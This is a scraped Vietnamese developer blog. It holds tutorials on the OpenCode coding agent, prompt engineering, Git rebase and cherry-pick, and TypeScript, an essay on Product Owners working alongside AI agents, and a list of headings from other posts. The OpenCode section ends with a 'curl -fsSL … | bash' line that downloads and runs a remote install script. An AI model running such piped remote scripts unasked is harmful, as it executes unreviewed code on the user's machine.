# 2. Mở OpenCode
opencode

# 3. Init (lần đầu)
/init

# 4. Hỏi về codebase
@src/routes/index.ts có chức năng gì?

# 5. Plan tính năng mới (Tab -> Plan)
Thêm phân trang cho danh sách user. Mỗi trang 20 items.
Dùng offset-based pagination.

# 6. Duyệt kế hoạch, chuyển Build (Tab)
OK, làm đi.

# 7. Kiểm tra kết quả
/undo # nếu chưa ưng, sửa prompt rồi làm lại

# 8. Chia sẻ nếu cần
/share

Lưu Ý Khi Dùng OpenCode

Commit trước khi dùng AI — phòng trường hợp cần revert
Review code AI tạo — AI có thể tạo code chạy được nhưng chưa tối ưu
Càng cụ thể càng tốt — "Sửa lỗi" khác xa "Thêm null check ở dòng 42"
Dùng Plan mode cho task lớn — tránh mất công sửa đi sửa lại
Kéo thả ảnh vào terminal để AI phân tích UI mockup

Tổng Kết

OpenCode là công cụ mạnh mẽ nếu bạn biết cách dùng:

Cài đặt — 1 câu lệnh, 30 giây
Kết nối — provider tuỳ chọn
Init — để AI hiểu dự án
Prompt rõ ràng — tận dụng @file, Plan/Build mode
Undo khi cần — an toàn, không sợ hỏng

Càng dùng nhiều, bạn càng hiểu cách nói chuyện với AI để đạt kết quả mong muốn. Bắt đầu ngay hôm nay:

curl -fsSL https://opencode.ai/install | bash

Tài liệu tham khảo

Product Owner Sẽ Ra Sao Khi AI Agent Phát Triển?

Mon, 15 Jun 2026 00:00:00 GMT

Khi AI Agent bắt đầu viết code, chạy test, và deploy sản phẩm, câu hỏi đặt ra là: Product Owner (PO) còn làm gì? Vai trò của người định nghĩa yêu cầu và ưu tiên tính năng sẽ thay đổi ra sao khi AI có thể tự động phân tích thị trường, đề xuất tính năng, và thậm chí viết cả user story?

Hiện Trạng: PO Đang Làm Gì?

Trong quy trình Agile hiện tại, PO đảm nhiệm:

Quản lý backlog — Viết user story, ưu tiên, sắp xếp sprint
Giao tiếp stakeholder — Thu thập yêu cầu, dung hoà lợi ích
Định nghĩa "Done" — Acceptance criteria, xác nhận tính năng hoàn thành
Ra quyết định — Chọn cái gì làm trước, cái gì bỏ

Hầu hết thời gian của PO là viết, họp, và ra quyết định — những việc AI Agent hoàn toàn có thể hỗ trợ hoặc thay thế một phần.

AI Agent Sẽ Thay Đổi PO Như Thế Nào?

1. Tự Động Hoá Backlog Management

AI Agent có thể đảm nhận toàn bộ công việc back-office của PO:

Phân tích hành vi người dùng từ analytics, heatmap, session recording
Tự động sinh user story từ dữ liệu thực tế (không phải từ cảm tính)
Gợi ý ưu tiên dựa trên impact effort matrix, data chứ không phải intuition
Phát hiện conflict giữa các tính năng, đề xuất giải pháp

PO không còn ngồi viết story — PO sẽ review story do AI đề xuất.

2. Stakeholder Management Có AI Hỗ Trợ

AI Agent có thể:

Ghi âm, transcript, và tóm tắt toàn bộ meeting (Otter.ai, Fireflies)
Theo dõi action item và nhắc nhở tự động
Phân tích sentiment của stakeholder qua email và message
Dự đoán xung đột lợi ích trước khi chúng xảy ra

PO vẫn là người đối thoại chính, nhưng AI là trợ lý đắc lực giúp PO không bỏ lỡ thông tin nào.

3. Tự Động Kiểm Tra "Definition of Done"

Sau khi AI Agent viết code, một AI Agent khác (Reviewer Agent) có thể tự động kiểm tra acceptance criteria:

PO: "User có thể đăng nhập bằng Google"
→ AI Code Agent viết tính năng
→ AI Test Agent viết và chạy test
→ AI Review Agent kiểm tra: feature flag? analytics? error tracking?
→ AI báo cáo cho PO: "Done, 12 test passed, coverage 94%"

PO chỉ cần xác nhận, không cần test thủ công hay review từng dòng.

4. Từ Người Viết Yêu Cầu Đến Người Định Hướng Chiến Lược

Đây là sự thay đổi lớn nhất. Khi AI làm hết phần viết và ưu tiên, PO chuyển từ tactical sang strategic:

| Trước | Sau | |---|---| | Viết user story 4 tiếng/ngày | Phân tích chiến lược sản phẩm | | Họp stakeholder 3 tiếng/ngày | Nghiên cứu thị trường và đối thủ | | Review test case, acceptance | Định nghĩa vision và OKR | | Ra quyết định dựa trên gut feeling | Ra quyết định dựa trên AI simulation |

PO không biến mất — PO lên cấp.

Scenario: Một Ngày Của PO Năm 2027

8:00 — AI Agent gửi báo cáo tổng kết: 3 user story đã hoàn thành, 1 cần PO review vì acceptance criteria chưa rõ

8:30 — Review AI đề xuất tính năng mới: phân tích 5000 session cho thấy 68% user drop ở step 3. AI đề xuất 3 giải pháp kèm estimated impact

9:00 — Standup với dev team (thực ra là chat với AI). AI báo cáo tiến độ từng task, blocker đã được AI khác giải quyết từ tối qua

10:00 — Meeting với stakeholder. AI Agent transcript và sinh action item tự động

14:00 — PO ra quyết định: chọn solution B. AI tự động tạo story, split task, assign cho dev agent

16:00 — Review bản demo do AI Agent tạo. PO góp ý vài điểm UX. AI sửa trong 5 phút

Kết quả: sprint velocity tăng 3x, PO không còn overtime.

Kỹ Năng Mới PO Cần Trang Bị

AI Literacy — Hiểu khả năng và giới hạn của AI Agent để giao việc hiệu quả
Prompt Engineering — Biết cách mô tả yêu cầu để AI sinh đúng user story
Data-Driven Decision — Dùng AI phân tích data thay vì intuition
Strategic Thinking — Tập trung vào vision và chiến lược, không sa lầy vào chi tiết
AI Agent Management — Biết cách cấu hình và phối hợp nhiều AI Agent

PO Có Bị Thay Thế Hoàn Toàn?

Không. AI Agent thiếu ba thứ mà PO giỏi nhất:

Context con người — AI không thể cảm nhận political landscape trong tổ chức
Quyết định khó — AI có thể gợi ý, nhưng không thể chịu trách nhiệm
Tầm nhìn — AI phân tích quá khứ, PO vẽ tương lai

PO sẽ không bị thay thế, nhưng PO không chịu thích nghi sẽ bị bỏ lại.

Kết Luận

AI Agent không phải kẻ thù của PO — nó là công cụ giải phóng PO khỏi công việc hành chính nhàm chán. PO tương lai dành 80% thời gian cho chiến lược và chỉ 20% cho operational — ngược lại hoàn toàn so với hiện tại.

AI viết story, PO viết vision. AI ưu tiên task, PO định hướng sản phẩm. AI kiểm tra done, PO đảm bảo đúng.

Người PO giỏi nhất là người biết tận dụng AI Agent để tập trung vào điều duy nhất AI không thể làm: đưa ra tầm nhìn và chịu trách nhiệm về nó.

Tài liệu tham khảo

Prompt Engineering — Nghệ Thuật Nói Chuyện Với AI

Mon, 15 Jun 2026 00:00:00 GMT

Prompt Engineering là kỹ năng viết lời nhắc (prompt) để điều khiển AI làm đúng ý mình. Không phải ma thuật — mà là một kỹ năng có hệ thống, có thể học được.

Tại Sao Prompt Lại Quan Trọng?

LLM không đọc suy nghĩ bạn. Nó chỉ nhìn vào chuỗi token bạn gõ và dự đoán token tiếp theo. Cùng một câu hỏi nhưng cách đặt khác nhau cho kết quả hoàn toàn khác:

Not OK: "Viết code" → chung chung, AI tự guess
OK: "Viết hàm TypeScript kiểm tra email hợp lệ, dùng regex, trả về boolean" → rõ ràng

Prompt tốt = kết quả tốt. Prompt tồi = AI đoán mò.

Nguyên Tắc Vàng Khi Viết Prompt

1. Be Specific — Càng Cụ Thể Càng Tốt

| Tệ | Tốt | |---|---| | "Sửa lỗi" | "File auth.ts line 23-45, hàm validateToken không xử lý expired token. Thêm check exp claim trước khi verify" | | "Viết API" | "Viết REST API endpoint POST /users nhận JSON {name, email, password}, validate đầu vào, hash password bằng bcrypt, trả về 201 với user object (không kèm password)" |

2. Provide Context — Cho AI Biết Bối Cảnh

Dự án: Next.js 15, App Router, Prisma + SQLite
Viết: Server action cho chức năng đăng ký
Yêu cầu: validate email, kiểm tra trùng, hash password, gửi email welcome

3. Define Constraints — Ràng Buộc Đầu Ra

- Dùng TypeScript, strict mode
- No any, no !, no @ts-ignore
- Throw custom AppError, không throw Error thường
- Coverage tối thiểu 90%

4. One Shot — Cho Ví Dụ (Few-shot Prompting)

Viết test cho hàm sau. Format theo ví dụ:

// Example test
test('adds 1 + 2 = 3', () => {
  expect(add(1, 2)).toBe(3)
})

Hàm cần test:
export function divide(a: number, b: number): number {
  if (b === 0) throw new Error('Cannot divide by zero')
  return a / b
}

Các Kỹ Thuật Prompt Nâng Cao

Chain-of-Thought (CoT)

Yêu cầu AI suy luận từng bước trước khi trả lời:

Hãy phân tích từng bước:
1. Xác định input và output
2. Liệt kê edge cases
3. Đề xuất giải pháp cho từng edge case
4. Viết code

Yêu cầu: Viết hàm xử lý upload file ảnh, kiểm tra định dạng và resize

Role Prompting

Gán vai trò để AI điều chỉnh phong cách:

Bạn là senior software engineer đang review code của junior.
Chỉ ra vấn đề, giải thích tại sao, và đề xuất cải tiến.

Code:
[Paste code ở đây]

System Prompt vs User Prompt

Với các tool hỗ trợ system message (như OpenCode, Cursor):

System: Bạn là chuyên gia TypeScript. Luôn ưu tiên type safety.
User: Thêm validation cho form đăng nhập

Prompt Template

Xây dựng template có thể tái sử dụng:

## Task

{tên task}

## Context

Dự án: {tên dự án}, stack: {stack}
File liên quan: {danh sách file}

## Requirements

- {yêu cầu 1}
- {yêu cầu 2}

## Constraints

- {ràng buộc 1}
- {ràng buộc 2}

Lỗi Thường Gặp

1. Prompt Quá Ngắn

"Fix bug" → AI không biết fix gì, ở đâu. Luôn kèm error message, stack trace, file path.

2. Prompt Mâu Thuẫn

"Viết nhanh nhưng phải tối ưu, dùng O(1), nhưng đừng dùng map dễ đọc hơn" → AI confused.

3. Không Kiểm Tra Kết Quả

AI có thể tự tin trả lời sai. Luôn verify output, đặc biệt là code.

Prompt Cho Coding Agent (OpenCode, Cursor, Copilot)

Các coding agent có khả năng đọc codebase và chạy lệnh. Prompt hiệu quả hơn khi tận dụng:

@functions/auth.ts: Thêm rate limiting vào hàm login.
Tham khảo cách triển khai trong @api/middleware.ts
Chạy test sau khi xong: npm run test

@filename — Tham chiếu file cụ thể
Yêu cầu chạy lệnh — AI có thể chạy terminal, bảo nó chạy test
Lặp lại — Không ưng kết quả? Nói "làm lại, nhưng dùng zod thay vì joi"

Prompt Cho Code Review

Bạn là senior developer. Review code này:
1. Tìm bug tiềm ẩn
2. Đề xuất cải thiện performance
3. Check type safety
4. Gợi ý refactor nếu cần

[Paste code]

Prompt Cho Tạo Test

Viết unit test cho các function trong file utils/helpers.ts
- coverage 100%
- Dùng vitest
- Mock external calls
- Include edge cases: empty string, null, undefined

Tổng Kết

Prompt Engineering không phải "nói chuyện với AI" — nó là kỹ thuật truyền đạt yêu cầu có cấu trúc. Cũng giống như viết requirement cho developer, càng rõ ràng càng đỡ tốn thời gian sửa đi sửa lại.

Ba điều ghi nhớ:

Cụ thể — Đừng bắt AI đoán ý bạn
Context — Cho AI biết nó đang ở đâu, làm gì
Iterate — Prompt lần 1 chưa tốt? Sửa và chạy lại

AI càng ngày càng thông minh, nhưng prompt vẫn là kỹ năng quyết định chất lượng đầu ra. Học cách nói chuyện với AI hôm nay để tiết kiệm hàng giờ làm việc ngày mai.

Tài liệu tham khảo

Xu Hướng Phát Triển Trí Tuệ Nhân Tạo (AI) Năm 2026

Mon, 08 Jun 2026 00:00:00 GMT

Trí tuệ nhân tạo (AI) đang dịch chuyển mạnh mẽ từ mô hình chatbot tương tác thụ động sang các hệ thống Agentic AI (tác nhân thông minh tự chủ). Trong bài viết này, chúng ta sẽ cùng khám phá những xu hướng AI đột phá và cách lập trình viên có thể tận dụng tối đa sức mạnh này.

1. Agentic AI - Kỷ Nguyên Của Sự Tự Chủ

Thay vì chỉ trả lời câu hỏi dựa trên prompt của người dùng, các tác nhân AI (AI Agents) hiện nay có khả năng:

Tự động chia nhỏ một nhiệm vụ phức tạp thành nhiều bước nhỏ.
Sử dụng các công cụ bên ngoài như trình duyệt, terminal, cơ sở dữ liệu để thực thi công việc.
Tự kiểm tra kết quả và tự động sửa sai (Self-healing).

2. Mô Hình Ngôn Ngữ Lớn (LLM) Nhỏ Gọn Nhưng Mạnh Mẽ

Sự xuất hiện của các SLM (Small Language Models) chất lượng cao cho phép chạy trực tiếp trên các thiết bị cá nhân (Local AI) mà không cần kết nối Internet hoặc thông qua API đắt đỏ. Các thư viện như Ollama, Llama.cpp giúp việc tích hợp AI cục bộ vào ứng dụng Web/App trở nên dễ dàng hơn bao giờ hết.

3. Lập Trình Viên Nên Chuẩn Bị Gì?

Để không bị bỏ lại phía sau, các lập trình viên cần dịch chuyển từ vai trò viết mã thuần túy sang thiết kế hệ thống tương tác giữa người và máy:

Học cách viết prompt hiệu quả (Prompt Engineering).
Hiểu cách tích hợp API của LLM bằng các framework phổ biến như LangChain hoặc LlamaIndex.
Phát triển tư duy hệ thống để kiểm soát và định hướng hành vi của các AI Agents.

Hy vọng bài viết này cung cấp cho bạn cái nhìn tổng quan về tương lai của AI. Hãy bắt đầu trải nghiệm và xây dựng những ứng dụng tích hợp AI ngay hôm nay!

Tài liệu tham khảo

Git Nâng Cao: Làm Chủ Quy Trình Làm Việc Nhóm

Sun, 07 Jun 2026 00:00:00 GMT

Git là công cụ quản lý phiên bản không thể thiếu của bất kỳ dự án phần mềm nào. Tuy nhiên, khi làm việc trong nhóm lớn, việc sử dụng các lệnh Git cơ bản đôi khi không đủ giải quyết các vấn đề phức tạp. Bài viết này sẽ hướng dẫn bạn một số kỹ thuật Git nâng cao vô cùng hữu ích.

1. Git Rebase Thay Vì Git Merge

Khi bạn muốn cập nhật code mới nhất từ nhánh chính (main/develop) vào nhánh tính năng (feature) của mình:

Merge tạo ra một commit gộp (merge commit), làm lịch sử commit bị rối.
Rebase viết lại lịch sử commit bằng cách đặt các commit mới của bạn lên trên commit mới nhất của nhánh chính, tạo ra một đường thẳng lịch sử sạch đẹp.

git checkout feature-branch
git rebase main

[!WARNING] Không bao giờ được rebase trên các nhánh công khai hoặc nhánh dùng chung (như main). Việc viết lại lịch sử commit của nhánh chung sẽ gây lỗi nghiêm trọng cho các thành viên khác trong nhóm.

2. Làm Sạch Lịch Sử Commit Bằng Interactive Rebase

Trước khi gửi Pull Request (PR), bạn nên gom các commit vụn vặt (như "fix typo", "update UI minor") thành các commit có nghĩa bằng lệnh:

git rebase -i HEAD~3

Trong giao diện tương tác hiện ra, bạn thay đổi hành động từ pick thành squash (hoặc s) cho các commit con để gộp chúng lại với commit cha.

3. Lấy Một Commit Cụ Thể Với Git Cherry-Pick

Nếu bạn chỉ muốn đem duy nhất một commit từ nhánh khác (ví dụ nhánh sửa lỗi khẩn cấp) sang nhánh hiện tại của mình mà không muốn gộp toàn bộ nhánh đó:

git cherry-pick <commit-hash>

Chúc các bạn áp dụng thành công các kỹ thuật Git này vào dự án của mình để tối ưu hóa quy trình làm việc nhóm!

Tài liệu tham khảo

Tại Sao Nên Dùng TypeScript Cho Dự Án Lớn?

Sat, 06 Jun 2026 00:00:00 GMT

JavaScript là ngôn ngữ linh hoạt và dễ tiếp cận, nhưng tính chất dynamic-typing (kiểu động) của nó có thể dẫn đến hàng tá lỗi phát sinh khi dự án phình to. Đó là lý do TypeScript được phát triển. Dưới đây là những lý do cốt lõi bạn nên chuyển sang TypeScript ngay hôm nay.

1. Type Safety (An Toàn Kiểu Dữ Liệu)

TypeScript giúp phát hiện lỗi ngay tại thời điểm compile (khi đang viết code) thay vì runtime (khi ứng dụng đang chạy và người dùng gặp lỗi).

interface User {
  id: number
  name: string
  email?: string
}

function sendWelcomeEmail(user: User) {
  console.log(`Sending email to ${user.email}`) // TypeScript sẽ cảnh báo nếu user.email có thể undefined
}

2. Công Cụ Auto-complete Tuyệt Vời

Với TypeScript, IDE (như VS Code) hiểu rõ cấu trúc dữ liệu của bạn. Tính năng Intellisense sẽ hiển thị chính xác các phương thức và thuộc tính có sẵn, giúp bạn lập trình nhanh hơn gấp nhiều lần và giảm thiểu sai sót gõ nhầm tên thuộc tính.

3. Dễ Dàng Tái Cấu Trúc (Refactoring)

Khi bạn muốn đổi tên một thuộc tính của object được sử dụng ở hàng chục file khác nhau:

Trong JavaScript: Bạn phải tìm và thay thế thủ công, rất dễ bỏ sót.
Trong TypeScript: Chỉ cần nhấn F2 đổi tên, compiler sẽ tự động cập nhật mọi tham chiếu trên toàn bộ dự án một cách an toàn.

Kết Luận

Dù mất thêm một ít thời gian ban đầu để định nghĩa kiểu dữ liệu (types/interfaces), TypeScript giúp tiết kiệm hàng trăm giờ debug về sau. Đây thực sự là khoản đầu tư vô cùng xứng đáng cho các dự án dài hạn và làm việc đội nhóm.

blog.dopana

AI Harness Engineering: Đóng khung & kiểm soát AI Agent

AI Harness Engineering là gì?

Các thành phần cốt lõi của một AI Harness

1. Quản lý Context và Bộ nhớ (Context & Memory Harnessing)

2. Quản lý Công cụ & Môi trường Thực thi (Tooling & Sandbox)

3. Guardrails và Kiểm soát Luồng (Flow Control)

4. Vòng lặp Tự sửa lỗi (Self-Correction & Eval Loop)

Sự khác biệt giữa Prompt Engineering và Harness Engineering

Tại sao Harness Engineering là tương lai của AI Software Development?

Tóm lại

Tài liệu tham khảo

AI Harness Engineering: Governing & Orchestrating Agents

What is AI Harness Engineering?

Core Components of an AI Harness

1. Context and Memory Management

2. Tooling and Execution Sandboxes

3. Guardrails and Flow Control

4. Self-Correction and Evaluation Loops

Prompt Engineering vs. Harness Engineering

Why Harness Engineering is the Future of AI Software Development

Conclusion

References

Chạy lệnh Shell trong JavaScript với Bun Shell

Bắt đầu với Bun Shell

Đọc kết quả đầu ra (Output)

Duyệt từng dòng đầu ra với lines()

Tài liệu tham khảo

Demystifying Infrastructure as Code: Terraform Deep Dive

Terraform là gì?

Các trụ cột chính của Terraform

Bên dưới hậu trường: Core vs. Providers

Tại sao các đội ngũ tin dùng Terraform?

Bắt đầu với Terraform

Tài liệu tham khảo

Demystifying Infrastructure as Code: Terraform Deep Dive

What is Terraform?

Key Pillars of Terraform

Under the Hood: Core vs. Providers

Why Teams Rely on Terraform

Getting Started

References

Run Shell Commands in JavaScript with Bun Shell

Getting Started with Bun Shell

Reading Command Output

Iterating Over Lines with lines()

References

Web Security Headers — Bảo Vệ Website Từ HTTP Headers

Content Security Policy (CSP)

Cấu Trúc

Directives

CSP Report Only

Nounce & Hash

Strict Transport Security (HSTS)

Preload

X-Frame-Options

X-Content-Type-Options

Referrer-Policy

Permissions-Policy (Feature Policy)

Cross-Origin-Read-Block (CORB) & COOP/COEP

Cross-Origin-Opener-Policy (COOP)

Cross-Origin-Embedder-Policy (COEP)

Cross-Origin-Resource-Policy (CORP)

Cache Headers

Implementation — Express

Implementation — Cloudflare Workers

Check Security Headers

Checklist

Kết Luận

Tài liệu tham khảo

Beyond the Cloud: Tại sao Edge Computing là Bước chuyển lớn

Edge Computing thực chất là gì?

Những động lực thúc đẩy sự dịch chuyển sang Biên

Ứng dụng thực tế tiêu biểu

Edge Computing kết hợp Edge AI

Lời kết: Mối quan hệ tương hỗ giữa Edge và Cloud

Tài liệu tham khảo

Why and How to Turn Off Cloudflare Email Address Obfuscation

Why Turn Off Email Obfuscation?

How to Turn Off Email Address Obfuscation via the Dashboard

Duyệt từng dòng đầu ra với `lines()`

Iterating Over Lines with `lines()`

1. What is `vitest --changed`?

2. But `--changed` raises an important question

6. Why Does This Matter for `--changed`?

7. `--changed` Does Not Mean Stop Running the Full Suite

10. `--changed` Doesn't Mean Your Dependency Graph Is Perfect

15. From Good Unit Tests to `--changed`

1. `vitest --changed` là gì?

2. Nhưng `--changed` đặt ra một câu hỏi quan trọng

6. Tại sao điều này liên quan đến `--changed`?

7. `--changed` không phải lý do để bỏ chạy toàn bộ test

10. `--changed` không có nghĩa là dependency graph hoàn hảo

15. Từ unit test tốt đến `--changed`